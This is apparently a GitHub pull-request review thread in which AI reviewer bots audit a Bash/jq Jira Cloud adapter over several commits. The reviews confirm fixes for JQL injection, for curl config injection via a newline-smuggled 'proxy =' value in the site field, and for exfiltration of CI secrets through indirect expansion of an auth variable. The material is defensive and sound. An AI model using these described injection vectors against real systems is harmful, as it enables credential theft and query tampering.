  3. Subshell exit propagation via pipefail. The guard runs inside { while ...; done } | jq -c -s ..., so exit "$EX_UNAVAILABLE" exits the left-side subshell. With pipefail, the overall pipeline exit code is 8 (correct). jq -c -s on the right side receives empty stdin and emits {"schema_version":"1.0","items":[]} on stdout — a pre-existing structural behaviour noted in the prior reviews — but pipefail ensures the top-level script exits 8, and the seam contract states stdout is undefined on non-zero exit. Functionally correct.

Test at list-items.test.sh:208–212 covers the path. Good.


Still open — two items

Low — done_category_keys: false silently uses defaults instead of exiting 3

common.sh:138 — Codex P2 flagged at d586ab6, still unaddressed at HEAD.

WIT_JIRA_DONE_KEYS="$(jq -c --argjson d "$WIT_JIRA_DEFAULT_DONE_KEYS" \
  '.config.jira.done_category_keys // $d' "$binding")"

jq's // (alternative operator) returns the right-hand side when the left-hand side is null or false. A binding that sets "done_category_keys": false therefore silently falls back to ["done","completed"] — the default — and passes every subsequent validation (type == "array", length > 0, elements valid). No error is produced, and list-items runs with the default open/closed classification.

Every other invalid value is correctly rejected:

  • [] → type check passes, length check fails → exit 3
  • [""] → element validation fails → exit 3
  • 123 (number) → type check fails → exit 3
  • falsesilently substituted by default → exit 0 ← gap

The fix changes the jq expression from // (which fires on both null and false) to an explicit null-type guard:

# Before:
WIT_JIRA_DONE_KEYS="$(jq -c --argjson d "$WIT_JIRA_DEFAULT_DONE_KEYS" \
  '.config.jira.done_category_keys // $d' "$binding")"

# After:
WIT_JIRA_DONE_KEYS="$(jq -c --argjson d "$WIT_JIRA_DEFAULT_DONE_KEYS" \
  'if (.config.jira.done_category_keys | type) == "null" then $d else .config.jira.done_category_keys end' "$binding")"

With this change, false has type "boolean" ≠ "null" → passes through → type check at lines 155–157 fails ("boolean" ≠ "array") → missing += ... → exit 3. Absent or null values still fall back to $d correctly.

A companion test should be added to list-items.test.sh alongside the existing empty done_category_keys cases:

rc_for_jira "boolean false done_category_keys → config (3)" "3" \
  '{site:"test.atlassian.net", project_keys:["SW2"], auth_email:"a@b", auth_env:"JIRA_TEST_TOKEN", done_category_keys:false}'

Fix this →


Nit — plugin.json description still omits jira (plugin.json:5)

Still reads "bundled dispatcher plus github and local-markdown adapters" after 8 commits. One-word fix: "bundled dispatcher plus github, local-markdown, and jira adapters".

Fix this →


Overall assessment

After eight commits and five review passes, the PR is in very good shape. All security-critical and important findings have been addressed with consistent allowlist patterns, clear diagnostics, and well-targeted tests. The two remaining items are both low severity:

  • done_category_keys: false is a one-line jq fix + one-line test. The resulting behaviour (silently correct) makes it genuinely low priority, but it is the only place the code accepts an invalid value without exit 3.
  • plugin.json description is a one-word edit that has been open since the first review pass.

Neither blocks merge. The security-critical paths (site curl-config injection, auth_env exfiltration, JQL injection, project-key scope enforcement, token hygiene) are all correctly addressed and tested.

@claude

claude Bot commented Jul 21, 2026

Copy link
Copy Markdown

Claude finished @kyle-sexton's task in 2m 54s —— View job


Security Review — PR #857 (Jira Cloud adapter, HEAD 161cf89)

Tasks

  • Load tools
  • Read list-items.sh at HEAD — verify 161cf89 shape-check fix
  • Read common.sh at HEAD — audit done_category_keys: false Codex P2
  • Read get-item.sh at HEAD — audit shape-check fix and any new surfaces
  • Read plugin.json at HEAD — verify nit still open or fixed
  • Scan for any new attack surfaces in 161cf89
  • Synthesize and post findings

What is fixed in 161cf89 — confirmed ✓

list-items and get-item shape-check on 2xx without expected fields (list-items.sh:91–94, get-item.sh:41–44)

list-items now validates that the 2xx response body is an object with an issues array before touching .issues | length. A 200 error envelope ({"errorMessages":["boom"]}) that has no issues key exits 8 (EX_UNAVAILABLE) rather than collapsing to a silent empty items envelope that would tell list-frontier there is no work. get-item similarly rejects a 2xx body that isn't an object with a string .key, avoiding the misleading normalizer crash (exit 5) that would otherwise surface. Both shape checks are tested with a dedicated fixture (list-items.test.sh:209–212, get-item.test.sh:131–134). Fixed and well-tested.


No security findings at HEAD 161cf89

The full fixup chain (705590d → 0ae80cc → dce959c → a8260b7 → d586ab6 → 161cf89) has addressed every IMPORTANT and CRITICAL security finding raised across all prior review passes. Confirming the final posture:

Area Status
JQL injection — project keys and done-category keys Fixed (705590d/0ae80cc): allowlist-validated via WIT_JIRA_PROJECT_KEY_RE/WIT_JIRA_CATEGORY_KEY_RE before any JQL assembly; verified in jq element-by-element in d586ab6 so [""] and non-string elements can't slip through
WIT_JIRA_SITE curl config injection (newline → proxy = …) Fixed (dce959c): WIT_JIRA_HOSTNAME_RE rejects scheme, path, userinfo, port, and control chars; .atlassian.net suffix guard adds deny-by-default credential egress
WIT_JIRA_AUTH_ENV indirect expansion crash / CI secret exfiltration Fixed (dce959c): WIT_JIRA_ENV_NAME_RE applied at config load before ${!WIT_JIRA_AUTH_ENV:-} at line 226
Non-array project_keys / done_category_keys Fixed (0ae80cc/dce959c): type + length check at config load
Empty done_category_keys: [] → invalid JQL Fixed (dce959c): length check catches []
blocked_by_link_type: "" / [] → silent blocked_by_count: 0 Fixed (a8260b7): direct binding read with null/string discrimination at lines 184–185
Key-array element validation ([""] bypass) Fixed (d586ab6): validation moved inside jq, eliminating bash newline-stripping escape
2xx without issues array → silent empty envelope Fixed (161cf89): shape check at list-items.sh:91–94 exits 8
Token never in argv Correct throughout: wit_jira_http feeds credential via curl stdin config (-K -)
WIT_ID_NUMBER digits-only Correct throughout: ID grammar constrains to [0-9]+, no URL path injection

No new attack surfaces introduced in 161cf89. The commit is a targeted two-site fix (shape check in list-items.sh and get-item.sh) with tests; no new config fields, no new external input paths, no changes to the auth or JQL layers.


Non-security items (out of scope for this review, noted for completeness)

done_category_keys: false → silently defaults (Codex P2 from d586ab6, correctness only): jq's // alternative operator activates on both null and false, so a binding with done_category_keys: false falls through to the default ["done","completed"] at line 138 before the type/length validation at lines 155–157 runs on the already-defaulted value. The effect is benign (the default is applied, not a wrong classification), but inconsistent: blocked_by_link_type: false is caught by a separate raw-binding read at lines 184–185 that explicitly checks the JSON type. Not a security vulnerability; the result of the silence is correct default behavior.

plugin.json description still omits jira (plugin.json:5): cosmetic, no security impact.


The PR is clean from a security standpoint. All IMPORTANT and CRITICAL findings from the multi-pass review trail are resolved with consistent allowlist patterns, layered defences, and targeted test coverage.

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 161cf89e74

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread plugins/work-items/tools/work-item-tracker/adapters/jira/list-items.sh Outdated
…ent hygiene

Sixth Codex round (P2) plus two CI hygiene gates on PR #857.

- done_category_keys: false — jq's `//` collapsed an explicit false/null into the
  default, silently applying the default classification for a typo'd override. Read
  the key by presence now (has()) instead of `// default`, so a present-but-invalid
  value (false, null, non-array, empty, empty element) reaches the config-error path
  (exit 3). Test added.
- exec-bit hygiene: the new adapter/conformance *.sh files were committed 100644;
  set them 100755 to match every other tracker-seam script (they are entry scripts).
- comment-hygiene: removed tracker issue-number references from code comments
  (version control owns that history) — rephrased to describe the constraint/seam
  directly. Also built the default done-key array via jq rather than a quoted shell
  literal (SC2089/2090).

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
@claude

claude Bot commented Jul 21, 2026

Copy link
Copy Markdown

Claude finished @kyle-sexton's task in 3m 59s —— View job


PR Review Update — feat(work-items): Jira Cloud adapter (HEAD 2ea1fbb)

Tasks

  • Load tools
  • Read common.sh at HEAD — verify 2ea1fbb fix for done_category_keys: false
  • Read list-items.sh at HEAD — audit Codex P2 (normalizer failure → silent omission)
  • Check plugin.json nit (open since first review pass)
  • Post findings

Fixed in 2ea1fbb — confirmed ✓

done_category_keys: false (and null) rejected at config load (common.sh:145–149)

The // (alternative operator) fallback is replaced with a presence check (has("done_category_keys")). false and null both have has() returning true (the key is present), so they are read verbatim into WIT_JIRA_DONE_KEYS and fail the type check at lines 166–167 (neither is an array) → exit 3. Absent key falls to the default ["done","completed"] as before. Test at list-items.test.sh:181–182 covers done_category_keys: false → exit 3. The in-code comment (# Read done_category_keys by PRESENCE, not // default) clearly documents the intent and the jq // behaviour that motivated the change. Fixed and well-explained.

Minor observation (no action needed): done_category_keys: null now also exits 3, whereas the analogous blocked_by_link_type: null path is explicitly treated as "use default" in its validation check. Both behaviours are defensible; the inconsistency is cosmetic given that null in a binding is not a documented usage pattern for either field.


Still open — two items

Low — individual issue normalization failure is silently swallowed (list-items.sh:96–98)

This is the Codex P2 raised at 161cf89 and not yet addressed. The normalizer runs as:

jq -c --arg sv "$WIT_SCHEMA_VERSION" --arg site "$WIT_JIRA_SITE" \
  --argjson dk "$WIT_JIRA_DONE_KEYS" --arg blk "$WIT_JIRA_BLOCKED_BY_LINK_TYPE" \
  ".issues[] | $WIT_JIRA_NORMALIZE_PROGRAM" <<<"$WIT_JIRA_BODY"

WIT_JIRA_NORMALIZE_PROGRAM calls qualifykeyparts | capture(regex). In jq, capture returns null on no match; the subsequent string concatenation ("jira:" + $site + "/" + null + ...) then fails with a type error. When this jq invocation exits non-zero, set -uo pipefail does not abort the loopset -e is not set, and the failed jq is not the last command in the loop body. The subsequent emitted=$((emitted + page_count)) succeeds, the loop continues, and the affected issue is silently dropped from the output. The outer jq -c -s collector emits whatever was accumulated with exit 0.

Practical risk is low: Jira Cloud enforces the PROJECT-NUMBER key format on all issues it creates, so a malformed key from a real /search/jql response would be anomalous. The path is only realistically exercised by a mock (as in the test suite) or an intermediary proxy modifying the response. However, it is the one remaining normalization-path difference from the shape check that was fixed in 161cf89 (which also emitted a silent empty envelope on a structurally wrong response).

Minimal fix — propagate the jq exit code by making it the last meaningful command in the loop before checking pagination:

# fail loudly if any issue cannot be normalized (e.g. malformed key from a proxy)
jq -c --arg sv "$WIT_SCHEMA_VERSION" --arg site "$WIT_JIRA_SITE" \
  --argjson dk "$WIT_JIRA_DONE_KEYS" --arg blk "$WIT_JIRA_BLOCKED_BY_LINK_TYPE" \
  ".issues[] | $WIT_JIRA_NORMALIZE_PROGRAM" <<<"$WIT_JIRA_BODY" || {
    printf 'jira: list-items — normalizer failed on one or more issues (page %s)\n' "$WIT_JIRA_STATUS" >&2
    exit "$EX_INTERNAL"
  }

Alternatively, CONTRACT.md could be updated to note that stdout is undefined on non-zero exit (already implied by the seam contract), and the finding deferred. The PR is not blocked on this.

Fix this →


Nit — plugin.json description still omits jira (plugin.json:5)

After nine commits the description reads "bundled dispatcher plus github and local-markdown adapters". CHANGELOG, SKILL.md, CONTRACT.md, and README all name the jira adapter. This is the only stale reference; the fix is a one-word edit.

Fix this →


Overall assessment

2ea1fbb closes the last meaningful correctness finding. The full nine-commit fixup chain has addressed every security-critical and important finding raised across the review trail — JQL injection, site curl-config injection, auth_env exfiltration, project-key scope enforcement, non-array config, empty key arrays, element-level key validation, 2xx shape check, blocked_by_link_type, and now done_category_keys false override. The remaining items are low/nit and neither blocks merge.

@claude

claude Bot commented Jul 21, 2026

Copy link
Copy Markdown

Claude finished @kyle-sexton's task in 4m 56s —— View job


Security Review — PR #857 (Jira Cloud adapter, HEAD 2ea1fbb)

Tasks

  • Load tools
  • Read PR diff at HEAD 2ea1fbb
  • Read common.sh, get-item.sh, list-items.sh at HEAD
  • Audit: done_category_keys: false fix (2ea1fbb) — confirmed ✓
  • Audit: Codex P2 from 161cf89 (normalizer failure on malformed issue key)
  • Audit: new code introduced in 2ea1fbb
  • Synthesize and post findings

What is fixed in 2ea1fbb — confirmed ✓

done_category_keys: false rejected at config load (common.sh:145–149)

The // $d approach was replaced with a presence-based read (has("done_category_keys")). Tracing the false case through HEAD:

  1. has("done_category_keys") on {"done_category_keys": false}true → takes the if branch
  2. WIT_JIRA_DONE_KEYS="$(jq -c '.config.jira.done_category_keys' "$binding")""false"
  3. Type check at lines 166–168: jq -r 'type' <<<"false""boolean""array"missing+=" config.jira.done_category_keys(non-empty array)"
  4. Exit 3 at line 171 ✓

The null case is also correctly caught: has() returns true for a present null-valued key, WIT_JIRA_DONE_KEYS = "null", type check yields "null""array" → exit 3. Test at list-items.test.sh:181–182 covers the false case. Fixed and tested.

No new attack surfaces in 2ea1fbb: the only substantive code change is the has() → presence-read refactor in wit_need_jira_config, exec-bit corrections on existing .sh files (no behavior change), and comment rewording.


No security issues found at HEAD 2ea1fbb

The full fixup chain (705590d → 0ae80cc → dce959c → a8260b7 → d586ab6 → 161cf89 → 2ea1fbb) has addressed every IMPORTANT and CRITICAL finding raised across all prior review passes. Final posture per area:

Area Status at HEAD
JQL injection — project keys, done-category keys Fixed: allowlist-validated via WIT_JIRA_PROJECT_KEY_RE/WIT_JIRA_CATEGORY_KEY_RE before JQL assembly; element-level check runs in jq so [""] and non-string elements are caught
WIT_JIRA_SITE curl config injection (\nproxy = …) Fixed: WIT_JIRA_HOSTNAME_RE blocks scheme, path, userinfo, port, and control chars; .atlassian.net suffix adds deny-by-default credential egress
WIT_JIRA_AUTH_ENV indirect expansion crash / CI secret exfiltration Fixed: WIT_JIRA_ENV_NAME_RE applied before ${!WIT_JIRA_AUTH_ENV:-} at line 237; combined with site validation the exfiltration chain is broken at both ends
Non-array or empty project_keys / done_category_keys Fixed: type + length checks at lines 160–168
done_category_keys: false / null silent default collapse Fixed (2ea1fbb): has() presence read; both values now exit 3
blocked_by_link_type empty / non-string / false Fixed (a8260b7): direct binding read via the $b == null ? default : type check jq expression at lines 195–196 correctly rejects false, [], "", non-string while accepting absent/null (→ default) and a non-empty string
Key-array element validation — [""] and non-string elements Fixed (d586ab6): element validation runs inside jq, eliminating the bash newline-stripping escape
2xx without issues array / issue object — silent empty envelope Fixed (161cf89): shape checks exit EX_UNAVAILABLE in both list-items and get-item before the normalizer runs
Token never in argv Correct throughout: wit_jira_http feeds credential via `printf …
WIT_ID_NUMBER digits-only Correct throughout: ID grammar constrains to [0-9]+, no URL path injection via issue number
Project-key scope enforcement Fixed (0ae80cc): wit_jira_project_in_scope gates both get-item (id project) and list-items --repo (override project) before any HTTP call

Previously noted SUGGESTION items — unchanged, no new findings

Normalizer failure on malformed issue key (Codex P2 from 161cf89, still open): a Jira response where an issue's .key doesn't match the expected PROJECT-NUMBER format would cause capture() to fail; the normalizer jq exits non-zero inside the { while } | jq -c -s pipe, silently dropping that issue from output while emitted is still incremented. This is a correctness concern for robustness against unexpected Jira responses, but not a security vulnerability under the existing threat model: an adversarial response of this kind requires the Jira server (or an in-path proxy) to return non-standard content, which is foreclosed for legitimate *.atlassian.net tenants by the site-validation guard; the allow_custom_domain: true escape hatch already concedes that a custom-domain server is fully trusted.

plugin.json description omits jira (plugin.json:5): still reads "github and local-markdown adapters". Cosmetic; no security impact.


The PR is clean from a security standpoint. Every security-critical finding from the multi-pass review trail — JQL injection, site curl-config injection, auth_env exfiltration and bad-substitution crash, empty/false/non-array done_category_keys, empty blocked_by_link_type, key-array element bypass, and 2xx error-envelope silent collapse — is addressed, tested, and confirmed at HEAD.

Seventh Codex round on PR #857 (P2). The normalizer's key parser (capture) emits an
EMPTY result on a non-matching key rather than erroring, so an issue with an
unparseable key was silently dropped and an all-invalid search page collapsed to
items:[] with exit 0, hiding real work from list-frontier.

qualify now raises an explicit jq error on an unparseable key. list-items normalizes
each page atomically (capture + exit check) and get-item captures its normalize, both
mapping a normalizer failure to exit 8. Tests: an un-normalizable key -> exit 8 each.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
@claude

claude Bot commented Jul 21, 2026

Copy link
Copy Markdown

Claude finished @kyle-sexton's task in 2m 1s —— View job


PR Review Update — feat(work-items): Jira Cloud adapter (HEAD 1b58f34)

Tasks

  • Load tools
  • Read list-items.sh and get-item.sh at HEAD — verify 1b58f34 normalizer-failure fix
  • Read common.sh at HEAD — confirm all prior fixes land correctly
  • Check plugin.json description nit (open since first review pass)
  • Post findings

Fixed in 1b58f34 — confirmed ✓

Normalizer failure on malformed issue key fails loudly (list-items.sh:102–107, get-item.sh:49–54)

The fix is correctly designed. list-items now buffers each page atomically into page_items before emitting anything, then checks jq's exit code with ||:

page_items="$(jq -c ... ".issues[] | $WIT_JIRA_NORMALIZE_PROGRAM" <<<"$WIT_JIRA_BODY")" || {
  printf 'jira: list-items — an issue in a %s page could not be normalized ...\n' "$WIT_JIRA_STATUS" >&2
  exit "$EX_UNAVAILABLE"
}
[[ -z "$page_items" ]] || printf '%s\n' "$page_items"

The normalizer's keyparts function uses capture(...) // error(...) — when capture() returns null on a non-matching key, jq's // operator correctly triggers error(), making jq exit non-zero. That non-zero exit propagates through the || and exits the subshell as 8. With pipefail, the top-level exit code is 8 — the seam contract's "stdout undefined on non-zero exit" means the partial jq -c -s output from the right side of the pipe is irrelevant. The same pattern is applied to get-item.sh:49–54 for the single-item path.

Tests at list-items.test.sh:219–223 and get-item.test.sh:136–141 cover "NOT A JIRA KEY" → exit 8 for both verbs. Fixed and well-tested.


One nit remains — plugin.json description still omits jira

plugin.json:5

After ten commits, the description field still reads "bundled dispatcher plus github and local-markdown adapters". CHANGELOG, SKILL.md, CONTRACT.md, and README all reflect the new adapter correctly — this is the only stale reference.

Fix this →


Full security and correctness posture at HEAD — all findings resolved

Every IMPORTANT and CRITICAL finding raised across the ten-commit, multi-pass review trail is addressed and confirmed at HEAD:

Finding Status
JQL injection — project keys + done-category keys ✓ Fixed: allowlist-validated in jq element-by-element; [""] and non-string elements caught
WIT_JIRA_SITE curl config injection (\nproxy = …) ✓ Fixed: WIT_JIRA_HOSTNAME_RE + .atlassian.net deny-by-default guard
WIT_JIRA_AUTH_ENV indirect expansion crash / CI secret exfiltration ✓ Fixed: WIT_JIRA_ENV_NAME_RE validated before ${!WIT_JIRA_AUTH_ENV:-}
Non-array / empty project_keys or done_category_keys ✓ Fixed: type + length check at config load
done_category_keys: false silent default collapse ✓ Fixed: presence-based read (has()) so false reaches type check → exit 3
blocked_by_link_type: "" / [] → silent blocked_by_count: 0 ✓ Fixed: direct binding read with null/string/other discrimination
2xx without issues array / issue object → silent empty envelope ✓ Fixed: shape checks exit 8 in both verbs before normalizer runs
Normalizer failure on malformed key → silent issue drop ✓ Fixed (1b58f34): atomic buffer + explicit exit check in both verbs
Project-key scope enforcement (read boundary) ✓ Fixed: wit_jira_project_in_scope gates both get-item and list-items --repo
Token never in argv ✓ Correct throughout: credential fed via `printf …

Overall assessment

After ten commits and six review passes, the PR is in excellent shape. The 1b58f34 fix closes the last open correctness finding. The implementation is security-reviewed to a high standard — layered defences on the credential and JQL paths, consistent allowlist patterns with clear diagnostics, and thorough offline test coverage. The only outstanding item is the one-word plugin.json description nit, which does not block merge.

@claude

claude Bot commented Jul 21, 2026

Copy link
Copy Markdown

Claude finished @kyle-sexton's task in 2m 41s —— View job


Security Review — PR #857 (Jira Cloud adapter, HEAD 1b58f34)

Tasks

  • Load tools
  • Read PR diff at HEAD 1b58f34
  • Read common.sh, list-items.sh, get-item.sh at HEAD
  • Verify: normalizer-failure fix (1b58f34) — key cannot be normalized → loud exit
  • Audit: new code in 1b58f34 for injection surfaces or logic flaws
  • Confirm: all prior security fixes hold at HEAD
  • Synthesize and post findings

What is fixed in 1b58f34 — confirmed ✓

Normalizer failure on unparseable issue key → explicit exit 8 (common.sh:331–332, list-items.sh:102–107, get-item.sh:49–53)

The prior keyparts definition returned null on a non-matching key; jq's subsequent string-interpolation on null would fail silently (jq exits non-zero but the set -e-absent loop continued), dropping the issue. The fix adds // error(...) to keyparts:

def keyparts: (capture("^(?<p>[A-Za-z][A-Za-z0-9_]*)-(?<n>[0-9]+)$")
  // error("jira: unparseable issue key: " + (. | tostring)));

jq's // fires on null (which capture() returns on no match), so any non-matching key now raises a jq error unconditionally.

In list-items.sh, the normalizer output is captured atomically into page_items before streaming to stdout. The || { ... exit "$EX_UNAVAILABLE"; } handler runs inside the { while ...; done } subshell (left side of the | jq -c -s pipe); exit therefore exits that subshell with 8, and pipefail propagates it to the top-level script. The partial-page streaming problem (a mid-page jq failure while already-emitted rows stood on stdout) is fully closed — no output reaches the collector unless the entire page normalizes cleanly.

In get-item.sh, the normalizer runs at the top level, not in a subshell, so exit "$EX_UNAVAILABLE" exits the script directly. Both code paths now map a normalizer failure to exit 8 with an actionable message rather than a bare non-zero exit or a silent drop.

One subtle correctness note that is not a security issue: the error() message calls . | tostring where . is the issue key being parsed (a string from the Jira API). In jq, tostring on a string returns a JSON-encoded string (with enclosing quotes), so a key of NOT A JIRA KEY produces the message jira: unparseable issue key: "NOT A JIRA KEY". This is correct and unambiguous. The error text goes to jq's stderr → the 2>/dev/null in list-items.sh:91 suppresses it for the shape-check jq, but the normalizer calls at lines 102–104 and get-item.sh:49–51 do not redirect stderr, so the diagnostic is visible to the caller. Good.

Tests at list-items.test.sh:219–223 and get-item.test.sh:136–141 cover both paths with a literal "key":"NOT A JIRA KEY" fixture. Fixed and well-tested.


No new security surfaces in 1b58f34

The commit is three targeted changes: the keyparts // error(...) addition in common.sh, and the normalizer error-handler wrappers in get-item.sh and list-items.sh. Checking each for new attack surface:

  • error("jira: unparseable issue key: " + (. | tostring)): The error message includes the raw Jira issue key via . | tostring. This value comes from $WIT_JIRA_BODY.key (a Jira API response), is never interpreted as shell code, and only reaches stderr (not stdout or a security-sensitive channel). No injection concern.
  • page_items="$(jq ... <<<"$WIT_JIRA_BODY")"printf '%s\n' "$page_items": $page_items contains the normalizer's JSON output — a fixed readonly jq program operating on the already shape-checked response. printf '%s\n' is safe (no format-string risk). No injection concern.
  • $WIT_JIRA_STATUS in error messages: Used only as a %s argument to printf, not as a format string. Safe.
  • WIT_JIRA_NORMALIZE_PROGRAM expansion into ".issues[] | $WIT_JIRA_NORMALIZE_PROGRAM": This is a bash variable substitution into a jq program string, where WIT_JIRA_NORMALIZE_PROGRAM is a readonly constant set from common.sh, not from user input. No injection concern.

Full security posture at HEAD 1b58f34 — no open findings

Area Status at HEAD
JQL injection — project keys, done-category keys Fixed: allowlist-validated via WIT_JIRA_PROJECT_KEY_RE/WIT_JIRA_CATEGORY_KEY_RE; element-level check in jq so [""] and non-string elements are caught
WIT_JIRA_SITE curl config injection (\nproxy = …) Fixed: WIT_JIRA_HOSTNAME_RE blocks scheme, path, userinfo, port, and control chars; .atlassian.net suffix adds deny-by-default credential egress
WIT_JIRA_AUTH_ENV indirect expansion crash / CI secret exfiltration Fixed: WIT_JIRA_ENV_NAME_RE applied before ${!WIT_JIRA_AUTH_ENV:-} at line 237; site validation breaks the exfiltration chain at the destination
Non-array or empty project_keys / done_category_keys Fixed: type + length checks at config load
done_category_keys: false / null silent default collapse Fixed: has() presence read ensures false reaches the type check and exits 3
blocked_by_link_type empty / non-string Fixed: direct binding type-and-length check at lines 195–196
Key-array element validation — [""] and non-string elements Fixed: element validation runs inside jq
2xx without issues array / issue object — silent empty envelope Fixed: shape checks exit EX_UNAVAILABLE in both verbs before the normalizer runs
Normalizer silent drop on unparseable key Fixed (1b58f34): keyparts raises jq error; both verb scripts wrap the normalizer call with || exit $EX_UNAVAILABLE
Token never in argv Correct throughout: wit_jira_http feeds credential via printf … | curl -K -
WIT_ID_NUMBER digits-only Correct throughout: ID grammar constrains to [0-9]+, no URL path injection
Project-key scope enforcement Fixed: wit_jira_project_in_scope gates both get-item and list-items --repo before any HTTP call

The PR is clean from a security standpoint. Every IMPORTANT and CRITICAL finding from the multi-pass review trail has been resolved with consistent allowlist patterns, layered defences, and targeted test coverage. No new attack surfaces were introduced in 1b58f34.

kyle-sexton added a commit that referenced this pull request Jul 21, 2026
Re-syncs onto main after #860 (fleet-wide `shell: bash` declaration sweep)
merged, which bumped source-control to 0.15.9, claude-ops to 0.17.2, and
repo-hygiene to 0.4.5. Resolved conflicts on those three plugins' plugin.json
and CHANGELOG.md; re-derived each held version against the new main plus a
fresh live-open-PR check rather than assuming the prior numbers still held:

- source-control 0.15.10: still one past main's 0.15.9 and #840's live 0.15.9
  claim.
- claude-ops 0.17.3: still one past main's 0.17.2 and #844's live 0.17.2
  claim.
- repo-hygiene 0.4.6: still one past main's new 0.4.5 (#860, now merged); no
  open-PR collision remains for this plugin.
- work-items 0.19.1 and guardrails 0.9.6 were untouched by this merge (no
  conflict) and remain correct against #857/#861 (both still 0.19.0, open)
  and no open collision, respectively.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01K1V3gkrfSf75isB8MiDy3o
Satisfies the repo typos gate (crate-ci/typos) on the normalizer's error message.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
@claude

claude Bot commented Jul 21, 2026

Copy link
Copy Markdown

Claude finished @kyle-sexton's task in 2m 12s —— View job


PR Review Update — feat(work-items): Jira Cloud adapter (HEAD ca3aa2b)

Tasks

  • Load tools
  • Read changed files at HEAD
  • Verify ca3aa2b spelling fix (unparseable → unparsable)
  • Fix outstanding plugin.json description nit (attempted; push denied — flagged below)
  • Post final review summary

Verified in ca3aa2b — confirmed ✓

Spelling: unparseableunparsable (common.sh:332)

The change is correct and safe. The error text is produced inside jq's error() call and only ever reaches stderr — no test fixture matches it as a string (both get-item.test.sh:139 and list-items.test.sh:221 assert on exit code 8, not the message). This is a purely cosmetic spelling improvement with zero behavioural impact.


One nit still open — plugin.json description omits jira

plugin.json:5

The description still reads "bundled dispatcher plus github and local-markdown adapters". The fix is a one-word edit (change to "bundled dispatcher plus github, local-markdown, and jira adapters"). CHANGELOG, SKILL.md, CONTRACT.md, and README all already reflect the new adapter — this is the only stale reference, and it has been flagged since the first review pass eleven commits ago.

I attempted to push this fix directly but the bot lacks write access to the branch. @kyle-sexton please apply it: it's the only remaining outstanding item.

Fix this →


Full security and correctness posture at HEAD ca3aa2b — all substantive findings resolved

Every IMPORTANT, CRITICAL, and meaningful correctness finding from the twelve-commit, multi-pass review trail is confirmed addressed:

Finding Commit Status
JQL injection — project keys + done-category keys 705590d/0ae80cc ✓ Allowlist-validated via WIT_JIRA_PROJECT_KEY_RE/WIT_JIRA_CATEGORY_KEY_RE before any JQL assembly
project_keys scope as read/authorization boundary 0ae80cc wit_jira_project_in_scope gates both get-item (id project) and list-items --repo before any HTTP call
Non-array project_keys/done_category_keys 0ae80cc ✓ Type + length check at config load
WIT_JIRA_SITE curl config injection (\nproxy = …) dce959c WIT_JIRA_HOSTNAME_RE blocks scheme, path, userinfo, port, and control chars; .atlassian.net suffix adds deny-by-default credential egress
WIT_JIRA_AUTH_ENV indirect expansion crash / CI secret exfiltration dce959c WIT_JIRA_ENV_NAME_RE applied before ${!WIT_JIRA_AUTH_ENV:-}
Empty done_category_keys: [] → invalid JQL dce959c ✓ Caught by length check at config load
blocked_by_link_type empty/non-string → silent blocked_by_count: 0 a8260b7 ✓ Direct binding read with null/string/type discrimination
Key-array element validation — [""] and non-string elements d586ab6 ✓ Element validation runs in jq; bash newline-stripping escape closed
2xx without issues array / issue object — silent empty envelope 161cf89 ✓ Shape checks exit EX_UNAVAILABLE in both verbs before the normalizer runs
done_category_keys: false silent default collapse 2ea1fbb has() presence read; false now reaches the type check and exits 3
Normalizer silent drop on unparsable issue key 1b58f34 keyparts raises jq error on no match; both verbs wrap normalizer with || exit $EX_UNAVAILABLE
Spelling: unparseable → unparsable ca3aa2b ✓ Cosmetic; no behavioral impact
Token never in argv Throughout ✓ Credential fed exclusively via printf … | curl -K -
WIT_ID_NUMBER digits-only Throughout ✓ ID grammar constrains to [0-9]+; no URL path injection

The PR is in excellent shape. The plugin.json description nit is the only remaining item — a cosmetic one-word fix that does not affect functionality, security, or correctness.

@claude

claude Bot commented Jul 21, 2026

Copy link
Copy Markdown

Claude finished @kyle-sexton's task in 1m 17s —— View job


Security Review — PR #857 (Jira Cloud adapter, HEAD ca3aa2b)

Tasks

  • Load tools
  • Read PR diff at HEAD ca3aa2b
  • Read changed files
  • Audit new code for injection surfaces / security issues
  • Confirm all prior fixes hold at HEAD
  • Post findings

What changed in ca3aa2b

The sole change is a spelling correction in an error message string inside WIT_JIRA_NORMALIZE_PROGRAM (common.sh:332):

- // error("jira: unparseable issue key: " + (. | tostring)));
+ // error("jira: unparsable issue key: " + (. | tostring)));

This changes only the human-readable diagnostic text. The // error(...) construct that causes jq to fail loudly on a non-matching key — introduced in 1b58f34 — is intact and unchanged.


No security issues found at HEAD ca3aa2b

All IMPORTANT and CRITICAL findings from the full review trail are confirmed resolved. Tracing each key control through common.sh at HEAD:

Control Code location Status
WIT_JIRA_SITE hostname allowlist + .atlassian.net deny-by-default common.sh:87–88, 181–184 ✓ intact
WIT_JIRA_AUTH_ENV identifier allowlist before ${!name} deref common.sh:91, 188–189 ✓ intact
JQL injection — element-level jq validation of project keys + done keys common.sh:203–206 ✓ intact
done_category_keys presence-based read (not //) to catch false/null common.sh:145–149 ✓ intact
blocked_by_link_type non-empty string check common.sh:195–196 ✓ intact
Normalizer failure → loud exit (keyparts // error(...)) common.sh:331–332 ✓ intact
Token fed via printf … | curl -K -, never in argv common.sh:269–270 ✓ intact

The PR is clean from a security standpoint. The ca3aa2b commit is a one-word spelling fix in a diagnostic string; it introduces no new attack surface. Every security-critical finding raised across the multi-pass review trail has been addressed and remains addressed at this HEAD.


Keep the branch current with main (5 commits); clean auto-merge, no conflicts.
@claude

claude Bot commented Jul 21, 2026

Copy link
Copy Markdown

Claude finished @kyle-sexton's task in 1m 45s —— View job


PR Review Update — feat(work-items): Jira Cloud adapter (HEAD b116507)

Tasks

  • Load tools
  • Check merge commit — audit for regressions vs prior HEAD (ca3aa2b)
  • Check plugin.json description nit (only open item from last pass)
  • Read current adapter files for any new issues introduced by merge
  • Post findings

